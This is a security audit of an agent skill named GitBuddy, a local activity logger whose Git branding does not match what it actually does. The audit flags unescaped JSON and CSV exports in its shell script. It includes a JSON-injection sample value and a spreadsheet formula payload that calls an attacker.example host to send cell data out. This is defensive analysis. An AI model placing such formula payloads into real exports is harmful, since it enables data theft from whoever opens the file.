Back to skill

Security audit

Gitbuddy

Security checks for vulnerabilities and agentic risk

Overview

GitBuddy is a local activity logger, but its manifest advertises Git utilities it does not provide, so users may misunderstand what will be stored.

Review this as a persistent local logging tool, not as a Git automation utility. Do not log secrets, credentials, private incident details, or proprietary code notes unless you are comfortable storing them in plain files under ~/.local/share/gitbuddy and exporting them later. Treat CSV and JSON exports as untrusted until the exporter properly escapes values.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:62
Finding

Unescaped User-Controlled Values Produce Invalid or Injected JSON Exports

Content
View full analysis
> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" done echo "\n]" >> "$out" ``` User-controlled values enter the relevant log files through each domain command. For example: ```bash local input="$*" local ts=$(date '+%Y-%m-%d %H:%M') echo "$ts|$input" >> "$DATA_DIR/check.log" ``` The same input-handling pattern is repeated for the other domain commands through line 296. ### Technical Analysis The JSON exporter inserts `name`, `ts`, and `val` directly into quoted JSON string literals without JSON encoding. In particular, `val` can contain attacker-controlled quotation marks, backslashes, newlines, or other control characters. A value containing `"` can terminate the intended JSON string and introduce additional properties or objects. Backslashes and literal control characters can also make the resulting file syntactically invalid. Shell quoting prevents shell command substitution at export time, but it does not provide JSON escaping. For example, a logged value resembling the following can alter the structure of the generated document: ```text safe","injected":true,"other":"value ``` The resulting export no longer faithfully represents the original log entry and may be interpreted as attacker-supplied structured data by downstream consumers. ### Attack Path 1. An attacker influences text passed to a domain command such as `gitbuddy check`, `gitbuddy lint`, or `gitbuddy report`. 2. The command saves the supplied text verbatim in a log under `~/.local/share/gitbuddy/`. 3. The user runs `gitbuddy export json`. 4 ...[truncated 1002 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:73
Finding

CSV Injection and Record Corruption Through Unescaped Exported Values

Content
View full analysis
"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out"; done < "$f" done ;; ``` User-controlled values are written into the source log files without restrictions. For example: ```bash local input="$*" local ts=$(date '+%Y-%m-%d %H:%M') echo "$ts|$input" >> "$DATA_DIR/check.log" ``` Equivalent logging code is used by every domain command through line 296. ### Technical Analysis The CSV exporter concatenates fields with commas but performs no CSV quoting or escaping. Consequently: - Commas in a value create unintended columns. - Embedded newlines create additional records. - Double quotation marks are not escaped according to CSV conventions. - Values beginning with `=`, `+`, `-`, or `@` may be interpreted as formulas by spreadsheet software. This creates both a data-integrity issue and a spreadsheet formula-injection risk. A malicious logged value could resemble: ```text =WEBSERVICE("https://attacker.example/?data="&A1) ``` When the exported file is opened in spreadsheet software that evaluates formulas and permits the relevant function, the formula may initiate an external request. Actual execution is dependent on the spreadsheet product, its security settings, supported functions, and user interaction. ### Attack Path 1. An attacker persuades a user or an automated workflow to log attacker-controlled content through a command such as `gitbuddy report`. 2. The attacker makes the first character of the value a spreadsheet formula marker such as `=`, `+`, `-`, or `@`. 3. The value is stored verbatim in a GitBuddy log file. 4. The user runs `gitbuddy export csv`. 5. The expo ...[truncated 1225 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (10)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The skill advertises Git-focused capabilities such as changelog generation, branch cleanup, and repository statistics, but the documentation instead describes a generic persistent local logger with export and search features. This mismatch is dangerous because users may invoke the skill expecting scoped Git operations while actually recording arbitrary inputs and development activity to disk, increasing the risk of unintentional data capture and misuse.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The manifest frames the skill as a narrow Git utility, but the body defines a much broader activity logging system covering checks, linting, formatting, templates, reports, and other categories. Security-relevant scope expansion without clear declaration undermines informed consent and can cause users to provide sensitive project data under false assumptions about what the tool does.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The skill advertises Git-oriented utilities, but the implementation is a generic local activity logger with unrelated commands. This kind of capability mismatch is dangerous because users may trust it with repository-related or sensitive workflow inputs that are silently retained on disk under a misleading Git-branded interface.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The stats and status commands report only private tool log-directory metrics rather than repository statistics promised by the skill description. In the context of an agent skill, this misleading behavior can conceal that the tool is collecting user activity data instead of operating on Git repositories, increasing privacy and trust risks.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The top-level documentation contradicts the manifest by presenting GitBuddy as an offline code-quality workflow logger rather than a Git utility. Contradictory identity and purpose are dangerous because they make risk assessment and safe use harder, especially when the tool stores operational history and arbitrary text supplied by the user.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The documentation says entries are timestamped, persisted locally, and exportable, but it does not clearly warn that command inputs may contain secrets, internal code details, branch names, incident notes, or other sensitive material that will remain on disk and may be shared in exports. In a developer workflow context, this is especially risky because users often paste rich operational details into tooling without expecting long-term retention.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The branding and comments frame the script as a Git/devtools helper, but the code performs no Git actions and instead stores user inputs locally. Misleading presentation is risky because it encourages users or agents to provide operational data under false assumptions about the tool's function.

Content

No source excerpt is available for this finding.

Ssd 3

Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding

Across the script, all user-provided inputs are persistently recorded and then made searchable, viewable, and exportable through benign-sounding commands. Within the stated Git-assistant context, this is especially dangerous because users are likely to enter repository-related content and may not expect broad local retention and replay capabilities unrelated to the advertised functionality.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The export command aggregates stored activity data into additional files without prominently warning users about the privacy impact. This expands the exposure surface by creating portable plain-text/CSV/JSON copies of previously logged inputs that may be easier to discover, share, or exfiltrate.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

User-supplied inputs are appended verbatim to persistent log files without a clear, prior warning. In an agent/tooling context, users may pass commit messages, branch names, tokens, file paths, or other sensitive workflow content that then remains on disk and may later be exposed through search, recent, status, or export features.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.